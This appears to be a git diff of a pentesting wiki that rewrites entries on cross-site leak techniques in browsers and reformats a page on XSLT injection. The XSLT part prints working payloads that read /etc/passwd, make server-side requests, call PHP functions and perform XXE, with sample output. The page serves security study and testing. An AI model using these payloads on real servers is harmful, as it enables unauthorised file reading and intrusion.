* **Summary:** CSP header directives can be probed with the CSP iframe attribute.
* **Summary:** CSP header directives can be probed using the CSP iframe attribute, revealing policy details.
* **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
A new feature in GC allows web pages to proposes a CSP by setting an attribute on an iframe element. The policy directives are transmitted along with the HTTP request. Normally, the embedded content must explicitly allow this with an HTTP header, **otherwise an error page is displayed**. However, if the iframe already ships a CSP and the new policy is not stricter, the page will display normally.
This allows an attacker to detect specific CSP directive of a crossorigin page, if it is possible to **detect the error page**. Although, this bug is now marked as fixed, we found a **new leak technique that can detect the error page, because the underlying problem was never fixed.**
A novel feature in Google Chrome (GC) allows web pages to **propose a Content Security Policy (CSP)** by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must **authorize this via an HTTP header**, or an **error page is displayed**. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to **detect specific CSP directives** of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a **new leak technique** capable of detecting the error page, suggesting that the underlying problem was never fully addressed.
### **CORP**
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Summary:** Resource protected with CORP throws error when fetched.
* **Summary:** Resources secured with Cross-Origin Resource Policy (CORP) will throw an error when fetched from a disallowed origin.
* **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
The CORP header is a relatively new web platform security feature that when set b**locks no-cors cross-origin requests to the given resource**. The presence of the header can be detected, because a resource protected with CORP will **throw an error when fetched**.
@ -582,7 +578,7 @@ The CORP header is a relatively new web platform security feature that when set
* **Summary**: CORB can allow attackers to detect when the **`nosniff` header is present** in the request.
* **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Check the more information link for more information about the attack.
Check the link for more information about the attack.
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
@ -612,12 +608,10 @@ Submitting a request using the Fetch API with `redirect: "manual"` and other par
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Summary:** COOP protected pages can not be accessed.
* **Summary:** Pages safeguarded by Cross-Origin Opener Policy (COOP) prevent access from cross-origin interactions.
* **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
An attacker can leak if the Cross-Origin Opener Policy (COOP) header is available within a cross-origin HTTP response.
Web applications can deploy COOP response header to prevent other websites from gaining arbitrary window references to the application. However, this **header can easily be detected** by trying to read the **`contentWindow` reference**. If a site only deploys **COOP in one state**, this property (`opener`) is **undefined**, **otherwise** it is **defined**.
An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the **`contentWindow` reference**. In scenarios where COOP is applied conditionally, the **`opener` property** becomes a telltale indicator: it's **undefined** when COOP is active, and **defined** in its absence.
### URL Max Length - Server Side
@ -661,7 +655,7 @@ All the extra info needed to reach the **2MB** can be added via a **hash** in th
* **Inclusion Methods**: Fetch API, Frames
* **Detectable Difference**: Status Code
* **More info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3\_0\_76)
* **Summary:** Abuse the redirect limit to detect redirects.
* **Summary:** User the browser's redirect limit to ascertain the occurrence of URL redirections.
* **Code Example**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
If the **max** number of **redirects** to follow of a browser is **20**, an attacker could try to load his page with **19 redirects** and finally **send the victim** to the tested page. If an **error** is triggered, then the page was trying to **redirect the victim**.
@ -709,7 +703,7 @@ console.log(await debug(win, "https://example.com/?a=b"));
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Summary:** Read number of frames (window.length).
* **Summary:** Evaluate the quantity of iframe elements by inspecting the `window.length` property.
* **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Counting the **number of frames in a web** opened via `iframe` or `window.open` might help to identify the **status of the user over that page**.\
@ -725,21 +719,26 @@ An example of this technique is that in chrome, a **PDF** can be **detected** wi
* **Summary:** Read the leaked value to distinguish between 2 possible states
* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Some webpages may **dynamically generate media files** depending on user information or add watermarks that change media size. An attacker can use information leaked by those HTML elements to distinguish between possible states.
Information leakage through HTML elements is a concern in web security, particularly when dynamic media files are generated based on user information, or when watermarks are added, altering the media size. This can be exploited by attackers to differentiate between possible states by analyzing the information exposed by certain HTML elements.
Some HTMLElements will leak some information to cross-origins such as the type of media they are:
### Information Exposed by HTML Elements
- **HTMLMediaElement**: This element reveals the media's `duration` and `buffered` times, which can be accessed via its API.
[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: It exposes `videoHeight` and `videoWidth`. In some browsers, additional properties like `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, and `webkitDecodedFrameCount` are available, offering more in-depth information about the media content.
[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: This function provides details about video playback quality, including `totalVideoFrames`, which can indicate the amount of video data processed.
[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: This element leaks the `height` and `width` of an image. However, if an image is invalid, these properties will return 0, and the `image.decode()` function will be rejected, indicating the failure to load the image properly.
[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
* [HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) leaks the media `duration` and the `buffered` times.
* [HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement) leaks the `videoHeight` and `videoWidth` some browsers may also have `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` and `webkitDecodedFrameCount`
* [getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality) leaks the `totalVideoFrames`.
* [HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement) leaks the `height` and `width` but if the image is invalid they will be 0 and [`image.decode()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decode) will get rejected.
### CSS Property
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Summary:** Detect website styling depending on the status of the user.
* **Summary:** Identify variations in website styling that correlate with the user's state or status.
* **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Web applications may change w**ebsite styling depending on the status of the use**. Cross-origin CSS files can be embedded on the attacker page with the **HTML link element**, and the **rules** will be **applied** to the attacker page. If a page dynamically changes these rules, an attacker can **detect** these **differences** depending on the user state.\
@ -757,52 +756,59 @@ As a leak technique, the attacker can use the `window.getComputedStyle` method t
According to [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), this is not working in headless Chrome.
{% endhint %}
Using the CSS [`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited) selector, its possible to apply a different style for URLs that have been visited.\
Previously it was possible to use [`getComputedStyle()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle) to detect this difference but now browsers prevent this by always returning values as if the link was visited and limiting what styles can be applied using the selector.\
So, it may be needed to trick the user into clicking an area that the CSS has affected this can be done using [`mix-blend-mode`](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode).\
There are also ways to do it without user interaction such as by abusing render timings this works because it takes time to paint links a different color.\
A PoC was provided on a chromium report that works by using multiple links to increase the time difference.
The CSS `:visited` selector is utilized to style URLs differently if they have been previously visited by the user. In the past, the `getComputedStyle()` method could be employed to identify these style differences. However, modern browsers have implemented security measures to prevent this method from revealing the state of a link. These measures include always returning the computed style as if the link were visited and restricting the styles that can be applied with the `:visited` selector.
Despite these restrictions, it's possible to discern the visited state of a link indirectly. One technique involves tricking the user into interacting with an area affected by CSS, specifically utilizing the `mix-blend-mode` property. This property allows the blending of elements with their background, potentially revealing the visited state based on user interaction.
Furthermore, detection can be achieved without user interaction by exploiting the rendering timings of links. Since browsers may render visited and unvisited links differently, this can introduce a measurable time difference in rendering. A proof of concept (PoC) was mentioned in a Chromium bug report, demonstrating this technique using multiple links to amplify the timing difference, thereby making the visited state detectable through timing analysis.
For further details on these properties and methods, visit their documentation pages:
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak
* **Inclusion Methods**: Frames
* **Detectable Difference**: Headers
* **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
* **Summary:** In GC, when a page is not allowed to be embedded on a cross-origin page because of **X-Frame-Options, an error page is shown**.
* **Summary:** In Google Chrome, a dedicated error page is displayed when a page is blocked from being embedded on a cross-origin site due to X-Frame-Options restrictions.
* **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
In Chrome, when a page is not allowed to be embedded on a cross-origin page, because the **X-FrameOptions** (XFO) header is set to deny or same-origin, an **error page is shown instead**. For objects, this error page can be **detected by checking the `contentDocument` property**. Typically, this property returns null because access to a cross-origin embedded document is not allowed. However, due to **Chromes rendering** of the error page, an **empty document object** is returned instead. This does not work for iframes or in other browsers. Developers may forget to set X-Frame-Options for all pages and especially error pages often miss this header. As a leak technique, an attacker may be able to differentiate between different user states by checking for it.
In Chrome, if a page with the `X-Frame-Options` header set to "deny" or "same-origin" is embedded as an object, an error page appears. Chrome uniquely returns an empty document object (instead of `null`) for the `contentDocument` property of this object, unlike in iframes or other browsers. Attackers could exploit this by detecting the empty document, potentially revealing information about the user's state, especially if developers inconsistently set the X-Frame-Options header, often overlooking error pages. Awareness and consistent application of security headers are crucial for preventing such leaks.
### Download Detection
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
* **Summary:** Attacker can detect downloads by using iframes. If the iframe is still accessible, the file was downloaded.
* **Summary:** An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
The `Content-Disposition` header ([`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)) indicates if the browser is either supposed to downloaded content or displayed it inline.
The `Content-Disposition` header, specifically `Content-Disposition: attachment`, instructs the browser to download content rather than display it inline. This behavior can be exploited to detect whether a user has access to a page that triggers a file download. In Chromium-based browsers, there are a few techniques to detect this download behavior:
If only a logged in user would be able to **access a page which will download a file** because it's using the header. It's possible to detect that behaviour.
1. **Download Bar Monitoring**:
- When a file is downloaded in Chromium-based browsers, a download bar appears at the bottom of the browser window.
- By monitoring changes in the window height, attackers can infer the appearance of the download bar, suggesting that a download has been initiated.
#### Download bar <a href="#download-bar" id="download-bar"></a>
2. **Download Navigation with Iframes**:
- When a page triggers a file download using the `Content-Disposition: attachment` header, it does not cause a navigation event.
- By loading the content in an iframe and monitoring for navigation events, it's possible to check if the content disposition causes a file download (no navigation) or not.
In Chromium-based browsers, when a file is downloaded, a preview of the download process **appears in a bar at the bottom**, integrated into the browser window. By **monitoring the window height**, attackers can detect whether the “download bar” opened.
3. **Download Navigation without Iframes**:
- Similar to the iframe technique, this method involves using `window.open` instead of an iframe.
- Monitoring navigation events in the newly opened window can reveal whether a file download was triggered (no navigation) or if the content is displayed inline (navigation occurs).
#### Download Navigation (with iframes) <a href="#download-navigation-with-iframes" id="download-navigation-with-iframes"></a>
Another way to test for the [`Content-Disposition: attachment`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) header is to **check if a navigation occurred**. If a page load causes a download, it does not trigger a navigation and the **window stays within the same origin**.
#### Download Navigation (without iframes) <a href="#download-navigation-without-iframes" id="download-navigation-without-iframes"></a>
Same technique as the previous one but using `window.open` instead of iframes.
In scenarios where only logged-in users can trigger such downloads, these techniques can be used to indirectly infer the user's authentication state based on the browser's response to the download request.
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
* **Summary:** Attacker can detect downloads by using iframes. If the iframe is still accessible, the file was downloaded.
* **Summary:** An attacker can discern file downloads by leveraging iframes; continued accessibility of the iframe implies successful file download.
* **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% hint style="warning" %}
@ -833,14 +839,14 @@ Or could just **send some fetch to the pontentially cached page and measure the
* **Summary:** It's possible to try to load a resource and about before it's loaded the loading is interrupted. Depending on if an error is triggered, the resource was or wasn't cached.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
[**`AbortController`**](https://developer.mozilla.org/en-US/docs/Web/API/AbortController) could be combined with _**fetch**_ and _**setTimeout**_ to both detect whether the **resource is cached** and to evict a specific resource from the browser cache. A nice feature of this technique is that the probing occurs without caching new content in the process.
Use _**fetch**_ and _**setTimeout**_ with an **AbortController** to both detect whether the **resource is cached** and to evict a specific resource from the browser cache. Moreover, the process occurs without caching new content.
### Script Pollution
* **Inclusion Methods**: HTML Elements (script)
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Summary:** When a **cross-origin script** is included on a page its **not directly possible to read** its contents. However, if a script **uses any built-in functions**, its possible to **overwrite them** and read their arguments which might **leak valuable information**.
* **Summary:** It's possible to **overwrite built-in functions** and read their arguments which even from **cross-origin script** (which cannot be read directly), this might **leak valuable information**.
* **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a>
@ -851,11 +857,9 @@ Or could just **send some fetch to the pontentially cached page and measure the
* **Summary:** Measure execution time of a web using service workers.
* **Code Example**:
1. The attacker registers a service worker in one of their domains (attacker.com).
2. In the main document, the attacker issues a navigation (window.open) to the target website and instructs the Service Worker to start a timer.
3. When the new window starts loading, the attacker navigates the reference obtained in step 2 to a page handled by the Service Worker.
4. When the request performed in step 3 arrives at the service worker, it returns a 204 (No Content) response, which aborts the navigation.
5. At this point, the Service Worker collects a measurement from the timer started in step 2. This measurement is affected by how long JavaScript blocked the navigation.
In the given scenario, the attacker takes the initiative to register a **service worker** within one of their domains, specifically "attacker.com". Next, the attacker opens a new window in the target website from the main document and instructs the **service worker** to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the **service worker**.
Upon arrival of the request initiated in the preceding step, the **service worker** responds with a **204 (No Content)** status code, effectively terminating the navigation process. At this point, the **service worker** captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.
{% hint style="warning" %}
In an execution timing it's possible to **eliminate** **network factors** to obtain **more precise measurements**. For example, by loading the resources used by the page before loading it.
@ -866,7 +870,7 @@ In an execution timing it's possible to **eliminate** **network factors** to obt
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
* **Summary:** Use [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) to measure the time it takes to perform a request. Other clocks could be used.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Cross-Window Timing
@ -874,7 +878,7 @@ In an execution timing it's possible to **eliminate** **network factors** to obt
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request using `window.open`. Other clocks could be used.
* **Summary:** se [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) to measure the time it takes to perform a request using `window.open`. Other clocks could be used.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -957,30 +961,7 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
## Defenses
In this section you can find part of the mitigations recommended in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) however, there are more mitigations in each section of the wiki [https://xsleaks.dev/](https://xsleaks.dev/). Take a look there for more information about how to protect against these techniques.
### Inclusion Method Mitigations
* **HTML elements**. It can use the **CORP header to control if pages can embed a resource**. CORP can either be set to same-origin or same-site and blocks any cross-origin respectively cross-site requests to that resource. On the **client site**, Chromium-based browsers use the **CORB** algorithm to decide whether cross-origin resource requests should be allowed or denied.
* **Frames**. The main defense to **prevent iframe** elements from loading HTML resources is the usage of **X-Frame-Options**. Alternatively, the **CSP directive frame-ancestors** can achieve a similar result. If the embedding is denied, the inclusion method cannot detect a difference in the responses.
* **Pop-ups**. For restricting the access to `window.opener`, the **COOP HTTP response header** defines three different values: unsafe-none (default), same-origin-allow-popups, and same-origin. These values can be used to **isolate browsing tabs and pop-ups** and thus, mitigates leak techniques based on pop-ups.
* **JavaScript Requests**. Cross-origin JavaScript requests are often used in XS-Leak attacks, because an attacker has fine-grained control over the issued request. However, since these request are not CORS enabled they fall under the same restrictions as requests send by HTML elements, like scripts or images. Thus the impact of this leak technique can also be **mitigated by CORP and CORB**.
More generic methods:
* **Fetch Metadata**. These request headers allow server owners to understand better how the users browser caused a specific request. In Chrome, Sec-Fetch-\* headers are automatically added to each request and provide metadata about the requests provenance. For example, Sec-Fetch-Dest: image was triggered from an image element. Web applications can then choose to block requests based on that information.
* **Same-Site Cookies**. The Same-Site cookie flag allows websites to declare **whether a cookie should be restricted to same-site or firstparty context**. All major browsers support Same-Site cookies. In GC, cookies without the attribute are now Lax by default. For XS-Leaks, **Same-Site cookies drastically limit the leak attack possibilities**. On the other hand, leak techniques that rely on **`window.open` still work with `SameSite=Lax`**. Websites that use **other authentication** methods, such as client-side certificates and HTTP authentication, **remain vulnerable**.
* **Cross-Origin Identifier Unlinkability (COIU)**. COIU, also known as First-Party Isolation (FPI), is an optional security feature that users can enable in FFs expert settings (about:config) and was initially introduced in Tor Browser. In an abstract view, it is an extended same-site context. It **binds multiple resources** (e.g., Cookies, Cache, Client-side storages) **to the first-party** instead of sharing them among all visited websites. If enabled, COIU drastically decreases the applicability of XS-Leaks, since only methods using pop-ups are still possible to fit the policys first-party requirement.
* **Tracking Protections**. Apple implemented a privacy mechanism called **Intelligent Tracking Prevention (ITP)** in SA that aims to combat cross-site tracking by limiting the capabilities of cookies and other web APIs. In newer versions of SA, ITP blocks all third-party cookies by default without any exceptions \[74]. This blocking prevents all leaks that are not based on pop-ups. FF took a similar approach with Enhanced Tracking Prevention (ETP), but they only block specific third-party cookies belonging to tracking providers. In the context of XS-Leaks, ETP only mitigates leak techniques that target these tracking domains.
* **Browser Extensions**. Security aware users can use **browser extensions to prevent certain inclusion methods**.
### Leak Technique Mitigations
* **Event Handler**. The **most effective mitigation** on this leak technique would be to **deny them all**, but this would break the majority of web applications on the Internet. We therefore propose to **reduce the number of the necessary information that can be gathered within events**. For example, the CSP violation event should not contain the redirection target URL in the blockedURI field. This behavior is implemented in FF and in newer versions of GC only SA remains vulnerable.
* **Error Messages**. To mitigate XS-Leaks based on the leak technique error messages, there are two major requirements. First, **error messages must not contain detailed information**, similarly to event handler messages. Second, browsers must **minimize error message occurrences**. XS-Leaks such as SRI Error, ContentDocument XFO, or Fetch Redirect detect whether an error message is thrown or not.
* **Global Limits**. Fixing leak techniques that abuse global limits are relatively complex because they rely on physical restrictions. The general recommendation thereby is to **restrict global limits on a small per-site basis**. If the global limit is 1, like for the Payment API, the attacker can silently attempt to activate the WebPayment UI at any time, which only succeeds if the UI is not being used concurrently by any other tab. We recommend to only access to the Payment API when a trustworthy event was used. By this means, the global limit is set to zero unless the user provides consent like a left mouse click on a dialog window, which sets the global limit to one.
* **Global State**. Any **properties of a browsers global state should not be accessible**. For example, FF is the only browser that updates the global state history when a redirect occurs, which results in reading history.length. Browsers should create a new history property when a redirection occurs instead of storing it globally. Other examples are shared resources, such as caches. Cache leaks abuse the shared cache used for all open websites in a browser. To completely mitigate cache leak techniques, the HTTP cache must be partitioned on a per-site base, as implemented by SA, GC and FF. Note that in SA iframes are not effected by cache partitioning.
* **Performance API**. We proved the Performance API to be an excellent leak technique. In many XS-Leaks, we could detect the difference whether a cross-origin requests response has or has not a performance entry. As a unification, we recommend ensuring that all request must create such an entry and only the correct subset of timing information is recorded for cross-origin requests.
There are mitigations recommended in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) also in each section of the wiki [https://xsleaks.dev/](https://xsleaks.dev/). Take a look there for more information about how to protect against these techniques.
## References

View file

@ -12,12 +12,17 @@
</details>
It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used).\
The transformation can be done in the server or in the browser).
## Basic Information
The most used frameworks are: **Libxslt** (Gnome), **Xalan** (Apache) and **Saxon** (Saxonica).
XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.
In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
The frameworks that are most frequently used include:
- **Libxslt** from Gnome,
- **Xalan** from Apache,
- **Saxon** from Saxonica.
For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## Example - Tutorial
@ -27,7 +32,7 @@ sudo apt-get install libsaxonb-java libsaxon-java
```
{% code title="xml.xml" %}
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
@ -42,7 +47,7 @@ sudo apt-get install libsaxonb-java libsaxon-java
{% endcode %}
{% code title="xsl.xsl" %}
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
@ -68,8 +73,8 @@ sudo apt-get install libsaxonb-java libsaxon-java
Execute:
```markup
$ saxonb-xslt -xsl:xsl.xsl xml.xml
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
@ -93,7 +98,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
### Fingerprint
{% code title="detection.xsl" %}
```markup
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
@ -124,7 +129,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
And execute
```markup
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
@ -135,7 +140,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
### Read Local File
{% code title="read.xsl" %}
```markup
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
@ -144,7 +149,7 @@ Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
```
{% endcode %}
```markup
```xml
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
@ -161,7 +166,7 @@ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
### SSRF
```markup
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
@ -181,7 +186,7 @@ There might be more or less functions depending on the XSLT version used:
Upload this and take information
```markup
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
@ -211,14 +216,14 @@ Upload this and take information
## SSRF
```markup
```xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
## Javascript Injection
```markup
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
@ -230,7 +235,7 @@ Upload this and take information
### **Opendir + readdir**
```markup
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
@ -249,7 +254,7 @@ Upload this and take information
### **Assert (var\_dump + scandir + false)**
```markup
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
@ -263,7 +268,7 @@ Upload this and take information
### **Internal - PHP**
```markup
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', utf-8')"/>
@ -273,7 +278,7 @@ Upload this and take information
### **Internal - XXE**
```markup
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
